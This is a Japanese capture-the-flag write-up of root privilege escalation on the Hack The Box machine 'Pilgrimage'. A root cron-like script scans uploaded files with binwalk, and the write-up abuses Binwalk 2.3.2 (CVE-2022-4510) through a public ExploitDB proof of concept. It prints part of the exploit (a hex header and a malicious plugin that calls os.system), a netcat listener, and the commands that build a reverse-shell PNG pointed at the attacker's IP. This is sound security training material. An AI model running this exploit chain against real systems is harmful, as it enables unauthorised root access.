▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Get the latest version : https://github.com/sponsors/carlospolop |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
linpeas-ng by carlospolop
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission. '
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting linpeas. Caching Writable Folders...
...省略
╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
╚════════════════════════════════════════════════╝
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
root 1 0.0 0.2 163808 10096 ? Ss 19:29 0:01 /sbin/init
root 499 0.0 0.3 50372 13196 ? Ss 19:30 0:00 /lib/systemd/systemd-journald
root 521 0.0 0.1 21848 5528 ? Ss 19:30 0:00 /lib/systemd/systemd-udevd
systemd+ 564 0.0 0.1 88436 6008 ? Ssl 19:30 0:00 /lib/systemd/systemd-timesyncd
└─(Caps) 0x0000000002000000=cap_sys_time
root 565 0.0 0.2 47748 10580 ? Ss 19:30 0:00 /usr/bin/VGAuthService
root 566 0.0 0.1 236744 7692 ? Ssl 19:30 0:14 /usr/bin/vmtoolsd
root 581 0.0 0.0 87060 2172 ? S<sl 19:30 0:00 /sbin/auditd
_laurel 590 0.0 0.1 9836 5788 ? S< 19:30 0:00 _ /usr/local/sbin/laurel --config /etc/laurel/config.toml
└─(Caps) 0x0000000000080004=cap_dac_read_search,cap_sys_ptrace
root 696 0.0 0.1 99884 5924 ? Ssl 19:30 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 709 0.0 0.0 6744 2848 ? Ss 19:30 0:00 /usr/sbin/cron -f
message+ 711 0.0 0.1 8260 4020 ? Ss 19:30 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
└─(Caps) 0x0000000020000000=cap_audit_write
root 717 0.0 0.0 6816 3016 ? Ss 19:30 0:00 /bin/bash /usr/sbin/malwarescan.sh
root 738 0.0 0.0 2516 712 ? S 19:30 0:00 _ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root 739 0.0 0.0 6816 2392 ? S 19:30 0:00 _ /bin/bash /usr/sbin/malwarescan.sh
root 719 0.0 0.6 209752 27224 ? Ss 19:30 0:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
www-data 1243 0.0 0.5 212176 20148 ? S 20:47 0:02 _ php-fpm: pool www
www-data 1244 0.0 0.4 210128 18220 ? S 20:47 0:01 _ php-fpm: pool www
www-data 1254 0.0 0.4 210128 16716 ? S 20:47 0:00 _ php-fpm: pool www
root 722 0.0 0.1 220796 4940 ? Ssl 19:30 0:00 /usr/sbin/rsyslogd -n -iNONE
root 732 0.0 0.1 13852 7020 ? Ss 19:30 0:00 /lib/systemd/systemd-logind
root 750 0.0 0.0 5844 1736 tty1 Ss+ 19:30 0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
emily 2029 0.0 0.1 14720 6032 ? S 23:40 0:00 _ sshd: emily@pts/0
emily 2030 0.0 0.1 8672 5400 pts/0 Ss 23:40 0:00 _ -bash
emily 2058 0.1 0.0 3476 2576 pts/0 S+ 23:47 0:00 _ /bin/sh ./linpeas.sh
emily 5150 0.0 0.0 3476 1088 pts/0 S+ 23:48 0:00 _ /bin/sh ./linpeas.sh
emily 5152 0.0 0.0 10088 3688 pts/0 R+ 23:48 0:00 | _ ps fauxwww
emily 5154 0.0 0.0 3476 1088 pts/0 S+ 23:48 0:00 _ /bin/sh ./linpeas.sh
root 821 0.0 0.0 56376 1652 ? Ss 19:30 0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data 822 0.0 0.1 57616 6648 ? S 19:30 0:14 _ nginx: worker process
www-data 823 0.0 0.1 57404 6568 ? S 19:30 0:11 _ nginx: worker process
emily 2011 0.0 0.2 15168 8416 ? Ss 23:40 0:00 /lib/systemd/systemd --user
emily 2012 0.0 0.0 166764 2560 ? S 23:40 0:00 _ (sd-pam)
...省略
ほう？何かこのWebシステムの中でmalwarescan.shが回っておるな。
root 717 0.0 0.0 6816 3016 ? Ss 19:30 0:00 /bin/bash /usr/sbin/malwarescan.sh
root 738 0.0 0.0 2516 712 ? S 19:30 0:00 _ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root 739 0.0 0.0 6816 2392 ? S 19:30 0:00 _ /bin/bash /usr/sbin/malwarescan.sh
このファイルを調べてみる。
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
emily@pilgrimage:~$
/var/www/pilgrimage.htb/shrunk/階層の変更をinotifywaitで監視してCreateされたファイル（変更ではないことに注意）をbinwalkでスキャンしとるな。
それでblacklistにあるファイルであればMalwareとして削除を行うと...
この階層は確かImageMagickでコンバートしたファイルを格納する階層だったと思うので画像アップを行い、プロセスが回るか確認してみる。
pspy
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。
┌──(root㉿kali)-[~/work]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
実行する。
emily@pilgrimage:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/06/25 23:49:57 CMD: UID=1000 PID=15217 | ./pspy64
2023/06/25 23:49:57 CMD: UID=1000 PID=15214 | -bash
2023/06/25 23:49:57 CMD: UID=1000 PID=15213 | sshd: emily@pts/1
2023/06/25 23:49:57 CMD: UID=0 PID=15207 | sshd: emily [priv]
2023/06/25 23:49:57 CMD: UID=1000 PID=9007 | /usr/bin/gpg-agent --supervised
2023/06/25 23:49:57 CMD: UID=0 PID=2151 |
2023/06/25 23:49:57 CMD: UID=0 PID=2150 |
2023/06/25 23:49:57 CMD: UID=1000 PID=2030 | -bash
2023/06/25 23:49:57 CMD: UID=1000 PID=2029 | sshd: emily@pts/0
2023/06/25 23:49:57 CMD: UID=1000 PID=2012 | (sd-pam)
2023/06/25 23:49:57 CMD: UID=1000 PID=2011 | /lib/systemd/systemd --user
2023/06/25 23:49:57 CMD: UID=0 PID=2008 | sshd: emily [priv]
2023/06/25 23:49:57 CMD: UID=0 PID=2005 |
2023/06/25 23:49:57 CMD: UID=0 PID=1958 |
2023/06/25 23:49:57 CMD: UID=0 PID=1957 |
2023/06/25 23:49:57 CMD: UID=0 PID=1934 |
2023/06/25 23:49:57 CMD: UID=0 PID=1923 |
2023/06/25 23:49:57 CMD: UID=0 PID=1784 |
2023/06/25 23:49:57 CMD: UID=0 PID=1728 |
2023/06/25 23:49:57 CMD: UID=33 PID=1254 | php-fpm: pool www
2023/06/25 23:49:57 CMD: UID=33 PID=1244 | php-fpm: pool www
2023/06/25 23:49:57 CMD: UID=33 PID=1243 | php-fpm: pool www
2023/06/25 23:49:57 CMD: UID=33 PID=823 | nginx: worker process
2023/06/25 23:49:57 CMD: UID=33 PID=822 | nginx: worker process
2023/06/25 23:49:57 CMD: UID=0 PID=821 | nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
2023/06/25 23:49:57 CMD: UID=0 PID=813 |
2023/06/25 23:49:57 CMD: UID=0 PID=774 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2023/06/25 23:49:57 CMD: UID=0 PID=750 | /sbin/agetty -o -p -- \u --noclear tty1 linux
2023/06/25 23:49:57 CMD: UID=0 PID=739 | /bin/bash /usr/sbin/malwarescan.sh
2023/06/25 23:49:57 CMD: UID=0 PID=738 | /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
2023/06/25 23:49:57 CMD: UID=0 PID=732 | /lib/systemd/systemd-logind
2023/06/25 23:49:57 CMD: UID=0 PID=722 | /usr/sbin/rsyslogd -n -iNONE
2023/06/25 23:49:57 CMD: UID=0 PID=719 | php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
2023/06/25 23:49:57 CMD: UID=0 PID=717 | /bin/bash /usr/sbin/malwarescan.sh
2023/06/25 23:49:57 CMD: UID=103 PID=711 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2023/06/25 23:49:57 CMD: UID=0 PID=709 | /usr/sbin/cron -f
2023/06/25 23:49:57 CMD: UID=0 PID=696 | /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
2023/06/25 23:49:57 CMD: UID=0 PID=617 |
2023/06/25 23:49:57 CMD: UID=0 PID=599 |
2023/06/25 23:49:57 CMD: UID=0 PID=598 |
2023/06/25 23:49:57 CMD: UID=0 PID=597 |
2023/06/25 23:49:57 CMD: UID=0 PID=596 |
2023/06/25 23:49:57 CMD: UID=0 PID=595 |
2023/06/25 23:49:57 CMD: UID=0 PID=594 |
2023/06/25 23:49:57 CMD: UID=0 PID=593 |
2023/06/25 23:49:57 CMD: UID=998 PID=590 | /usr/local/sbin/laurel --config /etc/laurel/config.toml
2023/06/25 23:49:57 CMD: UID=0 PID=589 |
2023/06/25 23:49:57 CMD: UID=0 PID=586 |
2023/06/25 23:49:57 CMD: UID=0 PID=581 | /sbin/auditd
2023/06/25 23:49:57 CMD: UID=0 PID=580 |
2023/06/25 23:49:57 CMD: UID=0 PID=566 | /usr/bin/vmtoolsd
2023/06/25 23:49:57 CMD: UID=0 PID=565 | /usr/bin/VGAuthService
2023/06/25 23:49:57 CMD: UID=104 PID=564 | /lib/systemd/systemd-timesyncd
2023/06/25 23:49:57 CMD: UID=0 PID=521 | /lib/systemd/systemd-udevd
2023/06/25 23:49:57 CMD: UID=0 PID=499 | /lib/systemd/systemd-journald
2023/06/25 23:49:57 CMD: UID=0 PID=465 |
2023/06/25 23:49:57 CMD: UID=0 PID=464 |
2023/06/25 23:49:57 CMD: UID=0 PID=251 |
2023/06/25 23:49:57 CMD: UID=0 PID=250 |
2023/06/25 23:49:57 CMD: UID=0 PID=221 |
2023/06/25 23:49:57 CMD: UID=0 PID=220 |
...省略
さて、まぁ回ってるのがすでに分かるのだが、実際に画像アップで回してみる。
2023/06/25 23:55:21 CMD: UID=33 PID=15240 | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png
2023/06/25 23:55:21 CMD: UID=33 PID=15242 | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png
2023/06/25 23:55:21 CMD: UID=33 PID=15243 | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png
2023/06/25 23:55:21 CMD: UID=33 PID=15244 | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png
2023/06/25 23:55:21 CMD: UID=33 PID=15245 | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png
2023/06/25 23:55:21 CMD: UID=33 PID=15246 | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png
2023/06/25 23:55:21 CMD: UID=33 PID=15247 | /bin/bash /tmp/.mount_magickVrdY15/AppRun convert /var/www/pilgrimage.htb/tmp/64984749d13d44.16367064_hpnomifekqgjl.png -resize 50% /var/www/pilgrimage.htb/shrunk/64984749d15fa.png
2023/06/25 23:55:22 CMD: UID=0 PID=15249 | /bin/bash /usr/sbin/malwarescan.sh
2023/06/25 23:55:22 CMD: UID=0 PID=15252 | /bin/bash /usr/sbin/malwarescan.sh
2023/06/25 23:55:22 CMD: UID=0 PID=15251 | /bin/bash /usr/sbin/malwarescan.sh
2023/06/25 23:55:22 CMD: UID=0 PID=15250 | /bin/bash /usr/sbin/malwarescan.sh
2023/06/25 23:55:22 CMD: UID=0 PID=15253 | /usr/bin/python3 /usr/local/bin/binwalk -e /var/www/pilgrimage.htb/shrunk/64984749d15fa.png
2023/06/25 23:55:22 CMD: UID=0 PID=15254 | fusermount -u -q -z -- /tmp/.mount_magickVrdY15
回っとるわ。ImageMagickが回った後にスキャンを行う感じね。理解。
んじゃこのスクリプトで悪用できるとこがないか確認します。
CVE-2022-4510
まぁ真っ先に思いつくのはファイルにPayloadを混ぜ込んでその画像を読む奴の脆弱性を突くこと。
binwalkが読んでるので此奴を悪用できないか調べてみる。
バージョンを確認する。
emily@pilgrimage:~$ /usr/local/bin/binwalk -h
Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
このバージョンでExploitを検索すると以下ExploitDBでPoCが乗っているではないか
Kaliでスクリプトを検索。
┌──(root㉿kali)-[~]
└─# searchsploit -c 51249
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Binwalk v2.3.2 - Remote Command Execution (RCE) | python/remote/51249.py
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
RCEのExploitですね。
Exploitの内容を以下のように一旦Pingのコマンド実行に書き換えて実行してみる。
※Webからではなくシェルから読み込ませよう。WebからだとImageMagickで変換されてしまう。
51249.py
bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
lines = ['import binwalk.core.plugin\n','import os\n', 'import shutil\n','class MaliciousExtractor(binwalk.core.plugin.Plugin):\n',' def init(self):\n',' if not os.path.exists("/tmp/.binwalk"):\n',' os.system("ping -c 3 10.10.14.155")\n',' with open("/tmp/.binwalk", "w") as f:\n',' f.write("1")\n',' else:\n',' os.remove("/tmp/.binwalk")\n', ' os.remove(os.path.abspath(__file__))\n',' shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n']
Pingの応答が帰ってきたのでRCE出来そうである。
じゃぁレッツ本番！
リバースシェル確立のために受け側を用意しておく。
┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
Exploitコードの引数の順番に情報を投入。Pythonのargparseパッケージを使ってるので-hで確認できます。
emily@pilgrimage:/tmp$ python3 51249.py /var/www/pilgrimage.htb/shrunk/6498585e31266.png 10.10.14.155 4444
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
emily@pilgrimage:/tmp$ cp ./binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/
emily@pilgrimage:/tmp$
Rootゲット！！！
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxは最近横行していたEasyといいつつ難しすぎるBoxではなく、既存のExploitを順当に利用する正統派のEasyだった気がします。
お勧めのEasyBoxですね。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。